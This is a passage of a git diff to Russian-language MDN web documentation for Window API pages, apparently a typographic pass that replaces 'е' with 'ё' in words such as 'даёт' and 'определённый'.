объекта локации всплывающего окна для обновления его данных. Если всплывающее окно еще не было открыто или пользователь его закрыл, открывает новое окно.</p> +<p>В данном примере функция <code>refreshPopupWindow()</code> вызывает метод <code>reload</code> у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно ещё не было открыто или пользователь его закрыл, открывает новое окно.</p> <pre class="brush:js">var popupWindow = null; diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html index d6fac2ad19..6901458922 100644 --- a/files/ru/web/api/window/console/index.html +++ b/files/ru/web/api/window/console/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/console --- <p>{{ APIRef }}</p> -<p>Свойство <strong><code>window.console</code></strong> дает доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.</p> +<p>Свойство <strong><code>window.console</code></strong> даёт доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html index f103f43f97..e70c15e507 100644 --- a/files/ru/web/api/window/crypto/index.html +++ b/files/ru/web/api/window/crypto/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Window/crypto --- <p>{{APIRef}}</p> -<p>{{domxref("Window.crypto")}} дает доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.</p> +<p>{{domxref("Window.crypto")}} даёт доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html index bd901523fb..9b1900a74e 100644 --- a/files/ru/web/api/window/frameelement/index.html +++ b/files/ru/web/api/window/frameelement/index.html @@ -31,7 +31,7 @@ if (frameEl) { <h2 id="Notes" name="Notes">Примечания</h2> -<p>Заметьте, что несмотря на свое имя, свойство также работает для документов внутри <code><object></code> и других встраиваемых элементов.</p> +<p>Заметьте, что несмотря на своё имя, свойство также работает для документов внутри <code><object></code> и других встраиваемых элементов.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html index 85080b7fa7..bb728217ab 100644 --- a/files/ru/web/api/window/getcomputedstyle/index.html +++ b/files/ru/web/api/window/getcomputedstyle/index.html @@ -17,11 +17,11 @@ translation_of: Web/API/Window/getComputedStyle <dd>Строка указывающая на найденный псевдо-элемент. Опускается (или <code>null</code>) для не псевдо-элементов.</dd> </dl> -<p>Возвращенный <code>style</code> живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.</p> +<p>Возвращённый <code>style</code> живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.</p> <h2 id="Выводы">Выводы</h2> -<p>Метод <code>Window.getComputedStyle()</code> предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчета каких-либо значений, которые могут быть.</p> +<p>Метод <code>Window.getComputedStyle()</code> предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчёта каких-либо значений, которые могут быть.</p> <h2 id="Пример">Пример</h2> @@ -73,7 +73,7 @@ var style = window.getComputedStyle(elem1, null); <h2 id="Описание">Описание</h2> -<p>Возвращенный объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из <code>getComputedStyle</code> только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <code><style></code> элемента или внешней таблицы стилей). Объект <code>element.style</code> следует использовать для установки стилей на специфических элементах.</p> +<p>Возвращённый объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из <code>getComputedStyle</code> только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <code><style></code> элемента или внешней таблицы стилей). Объект <code>element.style</code> следует использовать для установки стилей на специфических элементах.</p> <p>Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например <code>#text</code> выдаст ошибку).</p> diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html index c70c51e40c..e8f6f3fa73 100644 --- a/files/ru/web/api/window/getselection/index.html +++ b/files/ru/web/api/window/getselection/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Window/getSelection var selObj = window.getSelection(); alert(selObj); var selRange = selObj.getRangeAt(0); - // вернет диапазон Range + // вернёт диапазон Range }</pre> <h2 id="Notes" name="Notes">Заметки</h2> @@ -34,7 +34,7 @@ translation_of: Web/API/Window/getSelection <p>В JavaScript при попытке передать в функцию, принимающую строку (как на пример {{ Domxref("window.alert()") }} или же {{ Domxref("document.write()") }}), функция попробует сделать из любого параметра строку, даже если этот параметр является объектом, функцией со своими методами и свойствами.</p> -<p>В приведенном выше примере <code>selObj.toString() автоматически задействуется, когда мы передаем в </code>{{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. В следствии чего, вам необходимо будет применить вручную метод <code>toString(), как тут:</code></p> +<p>В приведённом выше примере <code>selObj.toString() автоматически задействуется, когда мы передаём в </code>{{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. В следствии чего, вам необходимо будет применить вручную метод <code>toString(), как тут:</code></p> <pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre> @@ -49,7 +49,7 @@ translation_of: Web/API/Window/getSelection <p>Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите {{domxref("HTMLInputElement.setSelectionRange()")}}).</p> -<p>На заметку, разница между <em>selection</em> и <em>focus</em>. {{domxref("Document.activeElement")}} - это то, что вернется элемент, который выделен (focused) .</p> +<p>На заметку, разница между <em>selection</em> и <em>focus</em>. {{domxref("Document.activeElement")}} - это то, что вернётся элемент, который выделен (focused) .</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html index fb679f5282..130637f6d3 100644 --- a/files/ru/web/api/window/history/index.html +++ b/files/ru/web/api/window/history/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/history --- <p>{{ APIRef }}</p> -<p><code><strong>Window</strong>.<strong>history</strong></code> является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещенные в текущей вкладке или фрейме, который был загружен на текущей странице).</p> +<p><code><strong>Window</strong>.<strong>history</strong></code> является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещённые в текущей вкладке или фрейме, который был загружен на текущей странице).</p> <p>Смотрите <a href="/ru/docs/Web/API/History_API">Управление историей браузера</a> для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов <code>pushState()</code> и <code>replaceState()</code>, о которых вы должны быть в курсе перед их использованием.</p> @@ -22,11 +22,11 @@ history.go(-1); // эквивалент history.back(); <h2 id="Замечания">Замечания</h2> -<p>Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект <code>History</code>, в выпадающем списке к кнопкам "назад" и "вперед".</p> +<p>Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект <code>History</code>, в выпадающем списке к кнопкам "назад" и "вперёд".</p> <p>По причинам безопасности объект <code>History</code> не позволяет непривилегированному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.</p> -<p>Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперед" из непривилегированного кода. Наиболее близкое решение использовать метод <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, который заменяет текущий пункт в истории сессии на предоставленный URL.</p> +<p>Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперёд" из непривилегированного кода. Наиболее близкое решение использовать метод <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, который заменяет текущий пункт в истории сессии на предоставленный URL.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html index 38048b3bfa..ad213b866e 100644 --- a/files/ru/web/api/window/index.html +++ b/files/ru/web/api/window/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Window <p><span class="seoSummary">Объект <code>window</code> представляет собой окно, содержащее DOM документ; свойство <code>document</code> указывает на <a href="/en-US/docs/DOM/document">DOM document</a>, загруженный в данном окне.</span> Окно текущего документа может быть получено с помощью свойства {{Domxref("document.defaultView")}}.</p> -<p>Данный раздел содержит описание всех методов, свойств и событий, доступных через объект <code>window</code> DOM. Объект <code>window</code> реализует интерфейс <code>Window</code>, который наследуется от интерфейса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Некоторые дополнительные глобальные функции, пространства имен объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> и <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p> +<p>Данный раздел содержит описание всех методов, свойств и событий, доступных через объект <code>window</code> DOM. Объект <code>window</code> реализует интерфейс <code>Window</code>, который наследуется от интерфейса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Некоторые дополнительные глобальные функции, пространства имён объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> и <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p> <p>В браузерах, поддерживающих вкладки, таком как Firefox, каждая вкладка содержит свой собственный объект <code>window</code> (и если вы пишете расширение, окно браузера тоже является отдельным объектом window - см. <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Работа с окнами в chrome коде</a>). Таким образом, объект <code>window</code> не разделяется между разными вкладками в одном и том же окне. Некоторые методы, а именно {{Domxref("window.resizeTo")}} и {{Domxref("window.resizeBy")}} применяется для всего окна и не принадлежат объекту <code>window</code> отдельной вкладки. Как правило, если что-то логически нельзя отнести ко вкладке, это относят к окну.</p> @@ -27,7 +27,7 @@ translation_of: Web/API/Window <dt>{{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}</dt> <dd>Возвращает ссылку на объект консоли, обеспечивающего доступ к консоли браузера.</dd> <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt> - <dd>Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчеркиванием более не доступен для Web-содержимого.</dd> + <dd>Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчёркиванием более не доступен для Web-содержимого.</dd> <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> <dd>Возвращает XUL контроллер объектов для текущего окна chrome.</dd> <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt> @@ -77,7 +77,7 @@ translation_of: Web/API/Window <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> <dd>Возвращает вертикальные (Y) координаты верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри <code>mozScreenPixelsPerCSSPixel</code> для конвертирования и адаптирования к экранным пикселям, если необходимо.</dd> <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчета скорости преобразования.</dd> + <dd>Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчёта скорости преобразования.</dd> <dt>{{domxref("Window.name")}}</dt> <dd>Получает/устанавливает имя для окна.</dd> <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt> @@ -154,7 +154,7 @@ translation_of: Web/API/Window <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt> <dd>Возвращает булевское значение, указывающее является ли текущий контент безопасным (<code>true</code>) или нет (<code>false</code>).</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt> - <dd>Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока еще не существует, поэтому не может быть использовано в браузерах.)</dd> + <dd>Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока ещё не существует, поэтому не может быть использовано в браузерах.)</dd> </dl> <h2 id="Методы">Методы</h2> @@ -169,9 +169,9 @@ translation_of: Web/API/Window <dt>{{domxref("Window.blur()")}}</dt> <dd>Убирает фокус с окна.</dd> <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt> - <dd>Позволяет отменить колбэк-функцию прежде чем определить расписание ее вызова с {{domxref("Window.requestIdleCallback")}}.</dd> + <dd>Позволяет отменить колбэк-функцию прежде чем определить расписание её вызова с {{domxref("Window.requestIdleCallback")}}.</dd> <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt> - <dd>Регистрирует окно, которое будет перехватывать все события определенного типа.</dd> + <dd>Регистрирует окно, которое будет перехватывать все события определённого типа.</dd> <dt>{{domxref("Window.clearImmediate()")}}</dt> <dd>Отменяет повторяющееся исполнение, установленное с помощью <code>setImmediate</code>.</dd> <dt>{{domxref("WindowTimers.clearInterval()")}}</dt> @@ -195,15 +195,15 @@ translation_of: Web/API/Window <dt>{{domxref("Window.focus()")}}</dt> <dd>Устанавливает фокус на текущем окне.</dd> <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> - <dd>Переходит на один документ вперед в текущей истории окна.</dd> + <dd>Переходит на один документ вперёд в текущей истории окна.</dd> <dt>{{domxref("Window.getAttention()")}}</dt> <dd>Заставляет мигать иконку приложения.</dd> <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt> <dd>{{todo("NeedsContents")}}</dd> <dt>{{domxref("Window.getComputedStyle()")}}</dt> - <dd>Получает подсчитанные стили для определенного элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.</dd> + <dd>Получает подсчитанные стили для определённого элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.</dd> <dt>{{domxref("Window.getDefaulComputedStyle()")}}</dt> - <dd>Получает подсчитанные стили по умолчанию для определенного элемента, игнорируя авторские стили.</dd> + <dd>Получает подсчитанные стили по умолчанию для определённого элемента, игнорируя авторские стили.</dd> <dt>{{domxref("Window.getSelection()")}}</dt> <dd>Возвращает выбранный объект, представляющий выбранный элемент(ы).</dd> <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> @@ -215,11 +215,11 @@ translation_of: Web/API/Window <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt> <dd>Минимизирует окно.</dd> <dt>{{domxref("Window.moveBy()")}}</dt> - <dd>Сдвигает текущее окно на определенное значение.</dd> + <dd>Сдвигает текущее окно на определённое значение.</dd> <dt>{{domxref("Window.moveTo()")}}</dt> - <dd>Сдвигает окно до определенных координат.</dd> + <dd>Сдвигает окно до определённых координат.</dd> <dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие <code>MozBeforePaint,</code> прежде чем произойдет перерисовка .</dd> + <dd>Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие <code>MozBeforePaint,</code> прежде чем произойдёт перерисовка .</dd> <dt>{{domxref("Window.open()")}}</dt> <dd>Открывает новое окно.</dd> <dt>{{domxref("Window.openDialog()")}}</dt> @@ -229,15 +229,15 @@ translation_of: Web/API/Window <dt>{{domxref("Window.print()")}}</dt> <dd>Открывает Print Dialog для распечатки текущего документа.</dd> <dt>{{domxref("Window.prompt()")}}</dt> - <dd>Возвращает текст, введенный пользователем в диалоге подсказки.</dd> + <dd>Возвращает текст, введённый пользователем в диалоге подсказки.</dd> <dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt> - <dd>Возвращает окно с захваченных событий определенного типа.</dd> + <dd>Возвращает окно с захваченных событий определённого типа.</dd> <dt>{{domxref("element.removeEventListener","Window.removeEventListener()")}}</dt> <dd>Удаляет обработчик события из окна.</dd> <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt> <dd>Позволяет назначить расписание задачи во время периода простоя браузера.</dd> <dt>{{domxref("Window.resizeBy()")}}</dt> - <dd>Меняет размер текущего окна на определенное число.</dd> + <dd>Меняет размер текущего окна на определённое число.</dd> <dt>{{domxref("Window.resizeTo()")}}</dt> <dd>Динамически меняет размер окна.</dd> <dt>{{domxref("Window.restore()")}}</dt> @@ -257,7 +257,7 @@ translation_of: Web/API/Window <dt>{{domxref("Window.setCursor()")}}</dt> <dd>Меняет курсор для текущего окна.</dd> <dt>{{domxref("Window.setImmediate()")}}</dt> - <dd>Исполняет функцию после того, как браузер некую тяжелую задачу.</dd> + <dd>Исполняет функцию после того, как браузер некую тяжёлую задачу.</dd> <dt>{{domxref("WindowTimers.setInterval()")}}</dt> <dd>Назначает выполнение функции каждые X миллисекунд.</dd> <dt>{{domxref("Window.setResizable")}}</dt> @@ -276,7 +276,7 @@ translation_of: Web/API/Window <h3 id="Методы_реализованные_из_других_мест">Методы, реализованные из других мест</h3> </dt> <dt>{{domxref("EventTarget.addEventListener()")}}</dt> - <dd>Регистрирует обработчики определенного типа событий в окне.</dd> + <dd>Регистрирует обработчики определённого типа событий в окне.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt> <dd>Декодирует строку данных, которая была закодирована, используя кодировку base-64.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt> @@ -361,7 +361,7 @@ translation_of: Web/API/Window <dt>{{domxref("GlobalEventHandlers.onload")}}</dt> <dd>Свойство обработчика событий для загрузки окна.</dd> <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt> - <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("message")}}.</dd> + <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("message")}}.</dd> <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt> <dd>Свойство обработчика событий для события mousedown в окне.</dd> <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt> @@ -395,11 +395,11 @@ translation_of: Web/API/Window <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt> <dd>Свойство обработчика событий для прокрутки окна.</dd> <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt> - <dd>Вызывается, когда было прокручено колесико мыши в любую сторону.</dd> + <dd>Вызывается, когда было прокручено колёсико мыши в любую сторону.</dd> <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt> <dd>Свойство обработчика событий для события выбора в окне.</dd> <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt> - <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("selectionchange")}}.</dd> + <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("selectionchange")}}.</dd> <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt> <dd>Свойство обработчика событий для события submits в окне формы.</dd> <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt> @@ -413,7 +413,7 @@ translation_of: Web/API/Window <dt>{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}</dt> <dd>Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было отсоединено от компьютера (когда запускается событие {{event("vrdisplaydisconnected")}}).</dd> <dt>{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}</dt> - <dd>Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдет от представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).</dd> + <dd>Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдёт от представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).</dd> </dl> <h2 id="Конструкторы">Конструкторы</h2> @@ -422,7 +422,7 @@ translation_of: Web/API/Window <dl> <dt>{{domxref("Window.ConstantSourceNode")}}</dt> - <dd>Создает экземпляр {{domxref("ConstantSourceNode")}}</dd> + <dd>Создаёт экземпляр {{domxref("ConstantSourceNode")}}</dd> </dl> <dl> @@ -431,9 +431,9 @@ translation_of: Web/API/Window <dt>{{domxref("Window.GeckoActiveXObject")}}</dt> <dd>{{todo("NeedsContents")}}</dd> <dt>{{domxref("Image")}}</dt> - <dd>Создает {{domxref("HTMLImageElement")}}.</dd> + <dd>Создаёт {{domxref("HTMLImageElement")}}.</dd> <dt>{{domxref("Option")}}</dt> - <dd>Создает {{domxref("HTMLOptionElement")}}</dd> + <dd>Создаёт {{domxref("HTMLOptionElement")}}</dd> <dt>{{domxref("Window.QueryInterface")}}</dt> <dd>{{todo("NeedsContents")}}</dd> <dt>{{domxref("Window.XMLSerializer")}}</dt> diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html index 5207cf8536..a9ab800401 100644 --- a/files/ru/web/api/window/innerheight/index.html +++ b/files/ru/web/api/window/innerheight/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/Window/innerHeight <pre class="brush:js">var intFrameHeight = window.innerHeight; // or var intFrameHeight = self.innerHeight; -// вернет высоту окна просмотра кадра в наборе кадров +// вернёт высоту окна просмотра кадра в наборе кадров var intFramesetHeight = parent.innerHeight; // will return the height of the viewport of the closest frameset diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html index d16b779f35..b5143f7ccf 100644 --- a/files/ru/web/api/window/localstorage/index.html +++ b/files/ru/web/api/window/localstorage/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Window/localStorage <p>Свойство <strong><code>localStorage</code></strong> позволяет получить доступ к {{domxref("Storage")}} объекту. <code>localStorage</code> аналогично свойству <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>. Разница только в том, что свойство <code>sessionStorage </code>хранит данные в течение сеанса (до закрытия браузера), в отличие от данных, находящихся в свойстве <code>localStorage</code>, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.</p> -<p>Следует отметить, что данные, сохраненные как в <code>localStorage</code>, так и в <code>sessionStorage</code>, являться специфичными для протокола страницы.</p> +<p>Следует отметить, что данные, сохранённые как в <code>localStorage</code>, так и в <code>sessionStorage</code>, являться специфичными для протокола страницы.</p> <p>Ключи и значения <strong>всегда строки</strong> (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).</p> @@ -42,7 +42,7 @@ translation_of: Web/API/Window/localStorage <pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre> -<p>Считывать данные из localStorage для определенного ключа, можно следующим образом:</p> +<p>Считывать данные из localStorage для определённого ключа, можно следующим образом:</p> <pre class="brush: js">let cat = localStorage.getItem('myCat'); </pre> @@ -83,7 +83,7 @@ translation_of: Web/API/Window/localStorage <p>{{Compat("api.Window.localStorage")}}</p> -<p>Все браузеры имеют различный уровень объема для <code>localStorage</code> и <code>sessionStorage</code>. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для <code>localStorage</code> и <code>sessionStorage</code>. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html index d14951e9d3..26f2f2cd00 100644 --- a/files/ru/web/api/window/location/index.html +++ b/files/ru/web/api/window/location/index.html @@ -29,7 +29,7 @@ location = <em>newLocation</em>; <h3 id="Пример_№1_Переход_на_новую_страницу">Пример №1: Переход на новую страницу</h3> -<p>Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван <code>location.assign()</code> с измененным URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.</p> +<p>Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван <code>location.assign()</code> с изменённым URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.</p> <pre class="brush: js">location.assign("http://www.mozilla.org"); // или location = "http://www.mozilla.org"; @@ -73,7 +73,7 @@ location = "http://www.mozilla.org"; // в html: <button onclick="sendData('Some data');">Отправить данные</button> </pre> -<p>Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счет изменения строки search).</p> +<p>Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счёт изменения строки search).</p> <h3 id="Пример_№6_Использование_закладок_без_изменения_свойства_hash">Пример №6: Использование закладок без изменения свойства hash</h3> diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html index 372a07f62e..52c4ce128c 100644 --- a/files/ru/web/api/window/mozanimationstarttime/index.html +++ b/files/ru/web/api/window/mozanimationstarttime/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Window/mozAnimationStartTime <h3 id="Summary" name="Summary">Summary</h3> -<p>Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определенный момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.</p> +<p>Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определённый момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.</p> <p>Это также позволяет анимациям JavaScript оставаться синхронизированными с CSS переходами и SMIL анимациями, запущенными в течение того же интервала обновления.</p> diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html index 2ecd37d8a1..d2267fe9e8 100644 --- a/files/ru/web/api/window/pageyoffset/index.html +++ b/files/ru/web/api/window/pageyoffset/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Window/pageYOffset <h3 id="Значение">Значение</h3> -<p>Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка еще не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.</p> +<p>Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка ещё не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.</p> <p>Т.к. данное свойство соответствует {{domxref("Window.scrollY")}}, обратитесь к его описанию за более детальной информацией о значении и использовании.</p> @@ -81,7 +81,7 @@ document.getElementById("frame").contentDocument </pre> </div> -<p>В данном примере создается элемент {{HTMLElement("iframe")}}, и задается его содержимое, затем определенный элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения <code>pageYOffset</code> у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.</p> +<p>В данном примере создаётся элемент {{HTMLElement("iframe")}}, и задаётся его содержимое, затем определённый элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения <code>pageYOffset</code> у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.</p> <h3 id="HTML">HTML</h3> diff --git a/files/ru/web/api/window/popstate_event/index.html 